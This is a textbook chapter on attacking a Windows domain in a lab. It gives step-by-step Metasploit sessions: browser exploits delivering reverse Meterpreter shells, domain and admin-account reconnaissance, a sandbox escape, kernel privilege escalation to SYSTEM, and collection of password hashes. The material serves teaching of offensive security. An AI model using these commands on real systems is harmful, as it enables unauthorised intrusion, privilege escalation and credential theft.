CHAPTER 7

Attacking the Domain

Introduction

An attacker that has gained a foothold on a network using the techniques of Chapter 2 can use Metasploit to expand their influence. Metasploit comes with reconnaissance modules that allow the attacker to determine their user privileges, the domain controller(s), and the account names for the domain administrators. Moreover, Metasploit also has a number of privilege escalation modules that allow the attacker to gain SYSTEM privileges on the host.

With SYSTEM privileges on a system in the Window domain, the attacker can use the Incognito and the Kiwi extensions to Meterpreter to gain domain administrator privileges, but only if the domain administrator has logged on to the compromised system. In other cases, the attacker can use different techniques to obtain the password hashes of a domain administrator; these can then be cracked using John the Ripper. Once domain administrator credentials are available, the Metasploit psexec module allows the attacker to gain access to the domain controller, and from there can download the password hashes for all of the accounts in the domain for later cracking.

Metasploit has fewer privilege escalation exploits for Linux systems; however a number of privilege escalation exploits are publicly available on sites such as Security Focus. Once the attacker has gained root access to a Linux system, the password hashes for system users can be passed to John the Ripper for cracking.

Windows Reconnaissance

Chapter 2 showed how to gain unprivileged access to a Windows system through a variety of browser-based attacks, including attacks against Internet Explorer, Firefox, Adobe Flash, and Java. For example, suppose the attacker configures the Firefox XCS Code Execution attack, setting up a new workspace (`saturn`) to hold the results.

```
root@kali:~# msfconsole -q
msf > workspace -a saturn
[*] Added workspace: saturn
msf > use exploit/multi/browser/firefox_proto_crmfrequest
msf exploit(firefox_proto_crmfrequest) > set uripath bob
uripath => bob
msf exploit(firefox_proto_crmfrequest) > set target 1
target => 1
msf exploit(firefox_proto_crmfrequest) > set payload windows/meterpreter/reverse_https
```


M. O'Leary, *Cyber Operations*, DOI 10.1007/978-1-4842-0457-3_7

```
payload => windows/meterpreter/reverse_https
msf exploit(firefox_proto_crmfrequest) > set lhost 10.0.4.252
lhost => 10.0.4.252
msf exploit(firefox_proto_crmfrequest) > exploit -j
[*] Exploit running as background job.
```

If a vulnerable victim visits the malicious web site, the attacker obtains a Meterpreter session on the target. The sysinfo command provides basic details of the compromised host.

```
[*] Meterpreter session 1 opened (10.0.4.252:8443 -> 10.0.6.130:61818) at 2014-09-13
20:30:47 -0400
msf exploit(firefox_proto_crmfrequest) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : PHOEBE
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
meterpreter > getuid
Server username: CORP\ebuchner
```

In this example, the attacker's session is on a 32-bit Windows 7 system with service pack 1 connected to the CORP domain, and is running as the domain user CORP\ebuchner. To determine the privileges of this user, the attacker runs the post exploitation module post/windows/gather/win_privs.

```
meterpreter > background
[*] Backgrounding session 1...
msf exploit(firefox_proto_crmfrequest) > use post/windows/gather/win_privs
msf post(win_privs) > info

... Output Deleted ...

Description:
  This module will print if UAC is enabled, and if the current account
  is ADMIN enabled. It will also print UID, foreground SESSION ID, is
  SYSTEM status and current process PRIVILEGES.

msf post(win_privs) > show options

Module options (post/windows/gather/win_privs):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

msf post(win_privs) > set session 1
session => 1
msf post(win_privs) > exploit
```

```
Current User
============

 Is Admin  Is System  UAC Enabled  Foreground ID  UID
 --------  ---------  -----------  -------------  ---
 False     False      True         1              "CORP\\ebuchner"

Windows Privileges
==================

 Name
 ----
 SeChangeNotifyPrivilege
 SeShutdownPrivilege
 SeUndockPrivilege

[*] Post module execution completed
```

The attacker concludes that, though CORP\ebuchner is a domain user, the account does not have local administrative privileges.

The CORP domain is the next reconnaissance target. The module post/windows/gather/enum_domain is used to identify the domain controller(s).

```
msf post(win_privs) > use post/windows/gather/enum_domain
msf post(enum_domain) > info

... Output Deleted ...

Description:
  This module identifies the primary domain via the registry. The
  registry value used is:
  HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Group
  Policy\History\DCName.

msf post(enum_domain) > show options

Module options (post/windows/gather/enum_domain):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

msf post(enum_domain) > set session 1
session => 1
msf post(enum_domain) > exploit

[+] FOUND Domain: corp
[+] FOUND Domain Controller: cassini (IP: 10.0.6.120)
[*] Post module execution completed
```

This domain has the single domain controller cassini at 10.0.6.120; the module records the presence of this new host in the Metasploit database.

```
msf post(enum_domain) > hosts -c address,name,os_name,os_flavor,info

Hosts
=====

address     name     os_name            os_flavor  info
-------     ----     -------            ---------  ----
10.0.6.120  cassini                                Domain controller for corp
10.0.6.130  PHOEBE   Microsoft Windows  7
```

The module post/windows/gather/enum_domain_group_users provides the membership of user groups on the domain; in particular it can be used to determine which users are members of the domain admins group.

```
msf post(enum_domain) > use post/windows/gather/enum_domain_group_users
msf post(enum_domain_group_users) > info

... Output Deleted ...

Description:
  This module extracts user accounts from specified group and stores
  the results in the loot. It will also verify if session account is
  in the group. Data is stored in loot in a format that is compatible
  with the token_hunter plugin. This module should be run over as
  session with domain credentials.

msf post(enum_domain_group_users) > show options

Module options (post/windows/gather/enum_domain_group_users):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   GROUP                     yes       Domain Group to enumerate
   SESSION                   yes       The session to run this module on.

msf post(enum_domain_group_users) > set group domain admins
group => domain admins
msf post(enum_domain_group_users) > set session 1
session => 1
msf post(enum_domain_group_users) > exploit

[*] Running module against PHOEBE
[*] Found users in domain admins
[*]     CORP\Administrator
[*]     CORP\cbosch
[*]     CORP\fhaber
[-] Current session running as CORP\ebuchner is not a member of domain admins
[*] User list stored in /root/.msf4/loot/20140913205745_saturn_10.0.6.130_domain.group.mem_540409.txt
[*] Post module execution completed
```

This domain has three domain administrator accounts – the default CORP\Administrator, as well as the accounts CORP\cbosch and CORP\fhaber. This list of domain administrators is stored locally in the file /root/.msf4/loot/20140913205745_saturn_10.0.6.130_domain.group.mem_540409.txt.

The module post/windows/gather/enum_logged_on_users returns not only the users currently logged on to the system, but also users that have logged on to the system recently.

```
msf post(enum_domain_group_users) > use post/windows/gather/enum_logged_on_users
msf post(enum_logged_on_users) > info

... Output Deleted ...

Description:
  This module will enumerate current and recently logged on Windows
  users

msf post(enum_logged_on_users) > show options

Module options (post/windows/gather/enum_logged_on_users):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CURRENT  true             yes       Enumerate currently logged on users
   RECENT   true             yes       Enumerate Recently logged on users
   SESSION                   yes       The session to run this module on.

msf post(enum_logged_on_users) > set session 1
session => 1
msf post(enum_logged_on_users) > exploit

[*] Running against session 1

Current Logged Users
====================

 SID                                            User
 ---                                            ----
 S-1-5-21-2774461806-4257634802-1797393593-1169  CORP\ebuchner

[*] Results saved in: /root/.msf4/loot/20140913211618_saturn_10.0.6.130_host.users.activ_351322.txt

Recently Logged Users
=====================

 SID                                            Profile Path
 ---                                            ------------
 S-1-5-18                                       %systemroot%\system32\config\systemprofile
 S-1-5-19                                       C:\Windows\ServiceProfiles\LocalService
 S-1-5-20                                       C:\Windows\ServiceProfiles\NetworkService
 S-1-5-21-2774461806-4257634802-1797393593-1169
 S-1-5-21-2774461806-4257634802-1797393593-1179  C:\Users\fhaber
 S-1-5-21-2774461806-4257634802-1797393593-1224  C:\Users\bob
 S-1-5-21-512160399-1188770258-3048418874-1000   C:\Users\hpoincare

[*] Post module execution completed
```

Of immediate interest to the attacker is the fact that one of the domain administrators, CORP\fhaber, has logged into this system in the recent past. The user hpoincare appears to be a local user, as its SID does not match the SID of the known domain users CORP\ebuchner and CORP\fhaber. It also appears that another domain user has logged into this system, CORP\bob.

Metasploit has other reconnaissance modules suitable for use after a shell has been obtained on a target, including

- post/windows/gather/enum_domain_tokens: Lists all of the tokens currently in use on the system that use domain credentials
- post/windows/gather/enum_applications: Lists applications present on the system
- post/windows/gather/tcpnetstat: Lists running TCP connections on the target
- post/windows/manage/webcam: Interface for any webcams present on the system.

Results from these modules are all stored in the Metasploit database. Some information is stored as loot and can be accessed with the `loot` command.

```
msf post(enum_logged_on_users) > loot

Loot
====

host        service              type            name          content  info    path
----        -------              ----            ----          -------  ----    ----
10.0.6.130  host.users.recent    recent_users.txt  text/plain  Recent   Users   /root/.msf4/
loot/20140913211620_saturn_10.0.6.130_host.users.recen_686244.txt
10.0.6.130  host.users.active    active_users.txt  text/plain  Active   Users   /root/.msf4/
loot/20140913211618_saturn_10.0.6.130_host.users.activ_351322.txt
10.0.6.130  domain.group.members  text/plain    domain                   admins  /root/.msf4/
loot/20140913205745_saturn_10.0.6.130_domain.group.mem_540409.txt
```

The data itself is contained in the named files, so to reexamine the list of active users on the system 10.0.6.130, read the contents of the file

```
root@kali:~# cat .msf4/loot/20140913211618_saturn_10.0.6.130_host.users.activ_351322.txt
Current Logged Users
====================

 SID                                            User
 ---                                            ----
 S-1-5-21-2774461806-4257634802-1797393593-1169  CORP\ebuchner
```

Windows Local Privilege Escalation

Windows 8 systems are more difficult to exploit than Windows 7 systems. For example, the Firefox XCS Code Execution exploit fails on Windows 8 targets. Moreover, Internet Explorer on Windows 8 runs in Enhanced Protected Mode, making the attacker's job even more difficult.

Bypassing Enhanced Protected Mode

Chapter 2 showed how to use the Adobe Flash Player Shader Buffer Overflow attack to obtain a shell on a vulnerable Windows 8 target that visits the malicious page.

```
root@kali:~# msfconsole -q
msf > workspace saturn
[*] Workspace: saturn
msf > use exploit/windows/browser/adobe_flash_pixel_bender_bof
msf exploit(adobe_flash_pixel_bender_bof) > set uripath bob
uripath => bob
msf exploit(adobe_flash_pixel_bender_bof) > set payload windows/meterpreter/reverse_https
payload => windows/meterpreter/reverse_https
msf exploit(adobe_flash_pixel_bender_bof) > set lport 443
lport => 443
msf exploit(adobe_flash_pixel_bender_bof) > set lhost 10.0.4.252
lhost => 10.0.4.252
msf exploit(adobe_flash_pixel_bender_bof) > exploit -j
[*] Exploit running as background job.

... Output Deleted ...

[*] Meterpreter session 1 opened (10.0.4.252:443 -> 10.0.6.133:59750) at 2014-09-14 11:11:24 -0400
```

Many of the basic reconnaissance techniques described in the previous section continue to work against this Windows 8 target.

```
msf exploit(adobe_flash_pixel_bender_bof) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : HELENE
OS              : Windows 8 (Build 9200).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
meterpreter > getuid
Server username: CORP\tsvedberg
```

However, this is not always the case, and some modules fail, including post/windows/gather/enum_domain_tokens and post/windows/gather/enum_domain_group_user. For example

```
msf exploit(adobe_flash_pixel_bender_bof) > use post/windows/gather/enum_domain_group_users
msf post(enum_domain_group_users) > set group domain admins
group => domain admins
msf post(enum_domain_group_users) > set session 1
session => 1
msf post(enum_domain_group_users) > exploit
```

```
[*] Running module against HELENE
[-] No members found for domain admins
[*] Post module execution completed
```

Since it is possible to enumerate domain members directly from the command line, a natural workaround is to start a shell in this session and ask Windows directly. However, a surprise is in store for the attacker.

```
msf post(enum_domain_group_users) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > shell
Process 3964 created.
Channel 3 created.
Microsoft Windows [Version 6.2.9200]
(c) 2012 Microsoft Corporation. All rights reserved.

C:\Users\tsvedberg\Desktop>net group "domain admins" /domain
net group "domain admins" /domain
The request will be processed at a domain controller for domain corp.saturn.test.

System error 5 has occurred.

Access is denied.
```

The underlying issue is that, though the exploit attacks Adobe Flash, the exploit itself runs within Internet Explorer. Thanks to Enhanced Protected Mode for Internet Explorer, most read and write access to the rest of the system is blocked, even if the attacker starts a command prompt.

Metasploit has two modules that can be used to escape Enhanced Protected Mode.

- MS13-097 Registry Symlink IE Sandbox Escape
  - exploit/windows/local/ms13_097_ie_registry_symlink
  - CVE 2013-5045, MS13-097
- MS14-009 .NET Deployment Service IE Sandbox Escape
  - exploit/windows/local/ms14_009_ie_dfsvc
  - CVE 2014-0257, MS14-009

These exploits can be considered prototypical of local privilege escalation exploits in Metasploit.
The attacker specifies a session already on the target, as well as a payload.

```
msf post(enum_domain_group_users) > use exploit/windows/local/ms13_097_ie_registry_symlink
msf exploit(ms13_097_ie_registry_symlink) > info

... Output Deleted ...
```

```
Basic options:
  Name            Current Setting  Required  Description
  ----            ---------------  --------  -----------
  DELAY           10               yes       Time that the HTTP Server will wait for the
                                             payload request
  PERSIST         false            yes       Run the payload in a loop
  PSH_OLD_METHOD  false            yes       Use powershell 1.0
  RUN_WOW64       false            yes       Execute powershell in 32bit compatibility mode,
                                             payloads need native arch
  SESSION                          yes       The session to run this module on.
  SRVHOST         0.0.0.0          yes       The local host to listen on. This must be an
                                             address on the local machine or 0.0.0.0
  SRVPORT         8080             yes       The local port to listen on.
  SSL             false            no        Negotiate SSL for incoming connections
  SSLCert                          no        Path to a custom SSL certificate (default is
                                             randomly generated)
  SSLVersion      SSL3             no        Specify the version of SSL that should be used
                                             (accepted: SSL2, SSL3, TLS1)
  URIPATH                          no        The URI to use for this exploit (default is random)

Payload information:

Description:
  This module exploits a vulnerability in Internet Explorer Sandbox
  which allows to escape the Enhanced Protected Mode and execute code
  with Medium Integrity. The vulnerability exists in the
  IESetProtectedModeRegKeyOnly function from the ieframe.dll
  component, which can be abused to force medium integrity IE to user
  influenced keys. By using registry symlinks it's possible force IE
  to add a policy entry in the registry and finally bypass Enhanced
  Protected Mode.

... Output Deleted ...

msf exploit(ms13_097_ie_registry_symlink) > set session 1
session => 1
msf exploit(ms13_097_ie_registry_symlink) > set payload windows/meterpreter/reverse_https
payload => windows/meterpreter/reverse_https
msf exploit(ms13_097_ie_registry_symlink) > set lhost 10.0.4.252
lhost => 10.0.4.252
```

When the exploit runs, a new session is spawned on the target with the new payload and new privileges.

```
msf exploit(ms13_097_ie_registry_symlink) > exploit

[*] Started HTTPS reverse handler on https://0.0.0.0:8443/
[*] Running module against HELENE
```

```
... Output Deleted ...

[*] Meterpreter session 2 opened (10.0.4.252:8443 -> 10.0.6.133:61991) at 2014-09-14
11:17:05 -0400
[*] Server stopped.

meterpreter >
```

Unlike other modules seen so far, this can be quite noticeable on the target. Three new Internet Explorer windows can briefly appear then disappear, followed by the appearance and disappearance of a PowerShell command prompt.

After the exploit, the new session runs without the protection of Enhanced Protected Mode. Commands that failed earlier can now be run.

```
msf exploit(ms13_097_ie_registry_symlink) > use post/windows/gather/enum_domain_group_users
msf post(enum_domain_group_users) > set group domain admins
group => domain admins
msf post(enum_domain_group_users) > set session 2
session => 2
msf post(enum_domain_group_users) > exploit

[*] Running module against HELENE
[*] Found users in domain admins
[*]     CORP\Administrator
[*]     CORP\cbosch
[*]     CORP\fhaber
[-] Current session running as CORP\tsvedberg is not a member of domain admins
[*] User list stored in /root/.msf4/loot/20140914112309_saturn_10.0.6.133_domain.group.mem_447016.txt
[*] Post module execution completed
```

Windows Privilege Escalation to SYSTEM

An attacker with an unprivileged shell on a Windows target usually wants to escalate privileges to an account with administrative or SYSTEM privileges. The process however, varies not only with the operating system (Windows 7 or Windows 8) and the service pack level, but also depends on the underlying architecture of the system.

Suppose that an attacker has obtained a shell on a Windows 7 SP1 32 bit system, say using the Java Applet JAX-WS Remote Code Execution attack and a native Windows payload.

```
root@kali:~# msfconsole -q
msf > workspace saturn
[*] Workspace: saturn
msf > use exploit/multi/browser/java_jre17_jaxws
msf exploit(java_jre17_jaxws) > set uripath bob
uripath => bob
msf exploit(java_jre17_jaxws) > set target 1
target => 1
msf exploit(java_jre17_jaxws) > set payload windows/meterpreter/reverse_https
payload => windows/meterpreter/reverse_https
msf exploit(java_jre17_jaxws) > set lport 443
```

```
lport => 443
msf exploit(java_jre17_jaxws) > set lhost 10.0.4.252
lhost => 10.0.4.252
msf exploit(java_jre17_jaxws) > exploit -j
[*] Exploit running as background job.

... Output Deleted ...

 [*] Meterpreter session 1 opened (10.0.4.252:443 -> 10.0.6.130:62706) at 2014-09-14 11:37:25 -0400
```

The simplest approach to privilege escalation is to use the built-in Meterpreter command `getsystem`. It tries three different approaches to elevating the attacker's privileges to SYSTEM; two approaches rely on impersonating a named pipe while the third approach uses token duplication.

```
msf exploit(java_jre17_jaxws) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: Access is denied.
```

However, because `getsystem` relies on older attacks, it often fails, especially against more modern systems.

Instead, an attacker can use one of a number of Metasploit modules for Windows privilege escalation; these include the following:

- Windows SYSTEM Escalation via KiTrap0D
  - exploit/windows/local/ms10_015_kitrap0d
  - CVE 2010-0232, MS10-015
  - Windows 7 (SP0) (x86)
- Windows Escalate Task Scheduler XML Privilege Escalation
  - exploit/windows/local/ms10_092_schelevator
  - CVE 2010-3338, MS 10-092
  - Windows 7 (SP0) (x86, x86_64)
- Windows EPATHOBJ::pprFlattenRec Local Privilege Escalation
  - exploit/windows/local/ppr_flatten_rec
  - CVE 2013-3660, MS13-015
  - Windows 7 (SP0, SP1) (x86)
- Windows NTUserMessageCall Win32k Kernel Pool Overflow (Schlamperei)
  - exploit/windows/local/ms13_053_schlamperei
  - CVE 2013-1300, MS13-053
  - Windows 7 (SP0, SP1) (x86)

- Windows TrackPopupMenuEx Win32k NULL Page
  - exploit/windows/local/ms13_081_track_popup_menu
  - CVE 2013-3881, MS13-081
  - Windows 7 (SP0, SP1) (x86)
- Windows TrackPopupMenu Win32k NULL Pointer Dereference
  - exploit/windows/local/ms14_058_track_popup_menu
  - CVE 2014-4113, MS14-058
  - Windows 7 (SP0, SP1) (x86, x86_64)
- MS15-001 Microsoft Windows NtApphelpCacheControl Improper Authorization Check
  - exploit/windows/local/ntapphelpcachecontrol
  - CVE 2015-0002, MS15-001
  - Windows 8 (x86, x86_64)

As an example, use the Windows NTUserMessageCall Win32k Kernel Pool Overflow (Schlamperei) attack to the system compromised in the earlier Java Applet JAX-WS Remote Code Execution attack.

```
msf exploit(java_jre17_jaxws) > use exploit/windows/local/ms13_053_schlamperei
msf exploit(ms13_053_schlamperei) > info

... Output Deleted ...

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION                   yes       The session to run this module on.

Description:
  This module leverages a kernel pool overflow in Win32k which allows
  local privilege escalation. The kernel shellcode nulls the ACL for
  the winlogon.exe process (a SYSTEM process). This allows any
  unprivileged process to freely migrate to winlogon.exe, achieving
  privilege escalation. This exploit was used in pwn2own 2013 by MWR
  to break out of chrome's sandbox. NOTE: when a meterpreter session
  started by this exploit exits, winlogin.exe is likely to crash.

... Output Deleted ...
```

Like the privilege escalation exploits to bypass Enhanced Protected Mode, the attacker provides the number of an existing session on the target. A payload can be specified manually; if omitted, a reverse Meterpreter shell on TCP/4444 is used.

```
msf exploit(ms13_053_schlamperei) > set session 1
session => 1
msf exploit(ms13_053_schlamperei) > exploit
```

```
[*] Started reverse handler on 10.0.4.252:4444
[*] Launching notepad to host the exploit...
[+] Process 948 launched.
[*] Reflectively injecting the exploit DLL into 948...
[*] Injecting exploit into 948...
[*] Found winlogon.exe with PID 444
[+] Everything seems to have worked, cross your fingers and wait for a SYSTEM shell
[*] Sending stage (769536 bytes) to 10.0.6.130
[*] Meterpreter session 2 opened (10.0.4.252:4444 -> 10.0.6.130:60457) at 2014-09-14 12:42:48 -0400
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > background
[*] Backgrounding session 2...
msf exploit(ms13_053_schlamperei) > sessions -l

Active sessions
===============

  Id  Type                   Information                   Connection
  --  ----                   -----------                   ----------
  1   meterpreter x86/win32  CORP\ebuchner @ PHOEBE        10.0.4.252:443 ->
                                                           10.0.6.130:62706 (10.0.6.130)
  2   meterpreter x86/win32  NT AUTHORITY\SYSTEM @ PHOEBE  10.0.4.252:4444 ->
                                                           10.0.6.130:60457 (10.0.6.130)
```

Once the exploit completes, a second session is started, this one running as SYSTEM.

This exploit does not always succeed; occasionally it exits with an error.

```
msf exploit(ms13_053_schlamperei) > exploit

[*] Started reverse handler on 10.0.4.252:4444
[*] Launching notepad to host the exploit...
[+] Process 2920 launched.
[*] Reflectively injecting the exploit DLL into 2920...
[*] Injecting exploit into 2920...
[*] Found winlogon.exe with PID 444
[-] Exploit failed: Rex::Post::Meterpreter::RequestError stdapi_sys_process_attach:
Operation failed: Access is denied.
```

In this case, running the exploit again may provide the hoped-for SYSTEM shell.

The Windows TrackPopupMenu Win32k NULL Pointer Dereference privilege escalation exploit can be used in the same fashion. Consider a 64-bit Windows 7 system running Service Pack 1, and suppose that it has been compromised, say via the same Java Applied JAX-WS Remote Code Execution Attack.

```
root@kali:~# msfconsole -q
msf > use exploit/multi/browser/java_jre17_jaxws

... Output Deleted ...

[*] Meterpreter session 1 opened (10.0.2.222:443 -> 10.0.6.128:64925) at 2015-05-18 15:19:44 -0400
msf exploit(java_jre17_jaxws) > sessions -i 1
[*] Starting interaction with 1...
```

```
meterpreter > sysinfo
Computer        : IAPETUS
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x64 (Current Process is WOW64)
System Language : en_US
Meterpreter     : x86/win32
```

To use the TrackPopupMenu privilege escalation exploit, Meterpreter must be running natively; the 64-bit version of Meterpreter is needed on a 64-bit system. Since the initial exploit leaves the attacker running a 32-bit Meterpreter on a 64-bit system, the first order of business is migrating to a 64-bit process. Examine the list of processes running on the system.

```
meterpreter > ps

Process List
============

 PID   PPID  Name               Arch    Session     User           Path
 ---   ----  ----               ----    -------     ----           ----
 0     0     [System Process]           4294967295
 4     0     System                     4294967295
 264   4     smss.exe                   4294967295
 312   484   svchost.exe                4294967295

... Output Deleted ...

 1472  484   SearchIndexer.exe          4294967295
 1508  1548  VBoxTray.exe       x86_64  1           CORP\ebuchner  C:\Windows\System32\
                                                                   VBoxTray.exe
 1548  620   explorer.exe       x86_64  1           CORP\ebuchner  C:\Windows\explorer.exe
 1752  604   WmiPrvSE.exe               4294967295
 1984  484   svchost.exe                4294967295
 2072  808   audiodg.exe        x86_64  0
 2208  1548  firefox.exe        x86     1           CORP\ebuchner  C:\Program Files (x86)\
                                                                   Mozilla Firefox\firefox.exe
 2612  2208  jp2launcher.exe    x86     1           CORP\ebuchner  C:\Program Files (x86)\Java\
                                                                   jre7\bin\jp2launcher.exe
 2636  2612  java.exe           x86     1           CORP\ebuchner  C:\Program Files (x86)\
                                                                   Java\jre7\bin\java.exe
 2644  388   conhost.exe        x86_64  1           CORP\ebuchner  C:\Windows\System32\
                                                                   conhost.exe
 2952  2896  oGTnehah.exe       x86     1           CORP\ebuchner  C:\Users\ebuchner\AppData\
                                                                    Local\Temp\
                                                                    ~spawn3305587215034660530.
                                                                    tmp.dir\oGTnehah.exe
```

The process VBoxTray.exe with PID 1508 is a 64 bit process; use the Meterpreter `migrate` command to move to that process.

```
meterpreter > migrate 1508
[*] Migrating from 2952 to 1508...
[*] Migration completed successfully.
meterpreter > sysinfo
Computer        : IAPETUS
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x64
System Language : en_US
Meterpreter     : x64/win64
meterpreter > background
```

With a 64-bit Meterpreter running on the target, the next step is to load the privilege escalation module.

```
msf exploit(java_jre17_jaxws) > use exploit/windows/local/ms14_058_track_popup_menu
msf exploit(ms14_058_track_popup_menu) > info

       Name: Windows TrackPopupMenu Win32k NULL Pointer Dereference
     Module: exploit/windows/local/ms14_058_track_popup_menu
   Platform: Windows
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2014-10-14

... Output Deleted ...

Available targets:
  Id  Name
  --  ----
  0   Windows x86
  1   Windows x64

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION                   yes       The session to run this module on.

Payload information:
  Space: 4096

Description:
  This module exploits a NULL Pointer Dereference in win32k.sys, the
  vulnerability can be triggered through the use of TrackPopupMenu.
  Under special conditions, the NULL pointer dereference can be abused
  on xxxSendMessageTimeout to achieve arbitrary code execution. This
  module has been tested successfully on Windows XP SP3, Windows 2003
  SP2, Windows 7 SP1 and Windows 2008 32bits. Also on Windows 7 SP1
  and Windows 2008 R2 SP1 64 bits.

... Output Deleted ...
```

The attacker must specify the architecture of the target (32 or 64 bits), as well as a payload.

```
msf exploit(ms14_058_track_popup_menu) > set session 1
session => 1
msf exploit(ms14_058_track_popup_menu) > set target 1
target => 1
msf exploit(ms14_058_track_popup_menu) > show payloads

Compatible Payloads
===================

   Name                                  Disclosure Date  Rank    Description
   ----                                  ---------------  ----    -----------
   generic/custom                                         normal  Custom Payload
   generic/shell_bind_tcp                                 normal  Generic Command Shell,
                                                                  Bind TCP Inline
   generic/shell_reverse_tcp                              normal  Generic Command Shell,
                                                                  Reverse TCP Inline
   windows/x64/exec                                       normal  Windows x64 Execute
                                                                  Command
   windows/x64/loadlibrary                                normal  Windows x64 LoadLibrary
                                                                  Path
   windows/x64/meterpreter/bind_tcp                       normal  Windows Meterpreter
                                                                  (Reflective Injection
                                                                  x64), Windows x64 Bind
                                                                  TCP Stager
   windows/x64/meterpreter/reverse_https                  normal  Windows Meterpreter
                                                                  (Reflective Injection
                                                                  x64), Windows x64 Reverse
                                                                  HTTPS Stager
   windows/x64/meterpreter/reverse_tcp                    normal  Windows Meterpreter
                                                                  (Reflective Injection
                                                                  x64), Windows x64 Reverse
                                                                  TCP Stager
   windows/x64/shell/bind_tcp                             normal  Windows x64 Command Shell,

... Output Deleted ...
```

On a 64-bit system like this target, a 64-bit version of Meterpreter is used. Choose and configure a payload, then run the exploit.

```
msf exploit(ms14_058_track_popup_menu) > set payload windows/x64/meterpreter/reverse_https
payload => windows/x64/meterpreter/reverse_https
msf exploit(ms14_058_track_popup_menu) > set lhost 10.0.2.222
lhost => 10.0.2.222
msf exploit(ms14_058_track_popup_menu) > exploit
[*] Started HTTPS reverse handler on https://0.0.0.0:8443/
[*] Launching notepad to host the exploit...
[+] Process 2148 launched.
[*] Reflectively injecting the exploit DLL into 2148...
[*] Injecting exploit into 2148...
[*] Exploit injected. Injecting payload into 2148...
```

```
[*] Payload injected. Executing exploit...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] 10.0.6.128:64930 (UUID: dfe862531d585a68/x86_64=2/windows=1/2015-05-18T19:22:58Z)
Staging Native payload ...
[*] Meterpreter session 2 opened (10.0.2.222:8443 -> 10.0.6.128:64930) at 2015-05-18 15:22:59 -0400

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```

The TrackPopupMenu privilege escalation exploit is the first Metasploit privilege escalation exploit to affect 64-bit Windows systems running Service Pack 1, and was released in October 2014. An older approach to privilege escalation on such systems is the SYSRET attack. The underlying vulnerability is labeled CVE 2012-0217, and was patched by Microsoft in MS12-042. This vulnerability only affects Intel 64–bit processors. The exploit code available publicly at https://github.com/shjalayeri/sysret allows the attacker to specify a process to run with SYSTEM privileges after the exploit completes.

Two exploit files must be copied to the compromised target: `sysret/x64/Release/sysret.exe` and `sysret/x64/Release/MinHook.x64.dll`. The precise attack may limit the directories to which an attacker can write these files. A successful Java Applet JAX-WS Remote Code Execution allows an attacker wide latitude in the file system; by comparison after a successful Firefox XCS Code Execution attack the attacker can write to very few locations on the disk. One location commonly available and open to writing is in the user's `AppData\LocalLow` subdirectory. The Meterpreter `upload` command can be used to transfer the files to the target.

```
meterpreter > upload /root/sysret/x64/Release/sysret.exe
c:\\Users\\vgrignard\\AppData\\LocalLow\\sysret.exe
[*] uploading  : /root/sysret/x64/Release/sysret.exe ->
c:\Users\vgrignard\AppData\LocalLow\sysret.exe
[*] uploaded   : /root/sysret/x64/Release/sysret.exe ->
c:\Users\vgrignard\AppData\LocalLow\sysret.exe
meterpreter > upload /root/sysret/x64/Release/MinHook.x64.dll
c:\\Users\\vgrignard\\AppData\\LocalLow\\MinHook.x64.dll
[*] uploading  : /root/sysret/x64/Release/MinHook.x64.dll ->
c:\Users\vgrignard\AppData\LocalLow\MinHook.x64.dll
[*] uploaded   : /root/sysret/x64/Release/MinHook.x64.dll ->
c:\Users\vgrignard\AppData\LocalLow\MinHook.x64.dll
```

When `sysret.exe` is run on the target with a specified PID (through the flag `-pid`), the process with that PID receives SYSTEM privileges. Use getpid to determine the PID for the currently running Meterpreter shell.

```
meterpreter > getpid
Current pid: 2564
```

To run `sysret.exe` on the target, use the Metasploit execute command. Specify the program name on the target with the `-f` switch, being sure to properly escape any backslashes. Pass the `-H` switch to hide the process from users on the system, and pass the program's arguments with the `-a` switch. After the program is run, the Meterpeter shell is running as SYSTEM.

```
meterpreter > execute -H -f c:\\Users\\vgrignard\\AppData\\LocalLow\\sysret.exe -a "-pid 2564"
Process 2312 created.
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```

Privileged Attacks on a Windows System

Once the attacker has obtained SYSTEM on a target, additional attacks are possible. The module post/windows/gather/credentials/credential_collector provides the attacker with the credentials that are stored on the system. Run it against the Windows 7 SP1 x64 target iapetus from the previous section.

```
msf exploit(java_jre17_jaxws) > use post/windows/gather/credentials/credential_collector
msf post(credential_collector) > show options

Module options (post/windows/gather/credentials/credential_collector):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

msf post(credential_collector) > set session 2
session => 2
msf post(credential_collector) > exploit

[*] Running module against IAPETUS
[+] Collecting hashes...
    Extracted: Administrator:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
    Extracted: dhilbert:aad3b435b51404eeaad3b435b51404ee:5b4c6335673a75f13ed948e848f00840
    Extracted: Guest:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
[+] Collecting tokens...
    CORP\vgrignard
    NT AUTHORITY\LOCAL SERVICE
    NT AUTHORITY\NETWORK SERVICE
    NT AUTHORITY\SYSTEM
    NT AUTHORITY\ANONYMOUS LOGON
[*] Post module execution completed
```

The module provides the password hashes for all of the local users of the system and stores them in the Metasploit database. To view the results, the `creds` command can be used to show all of the collected credentials.

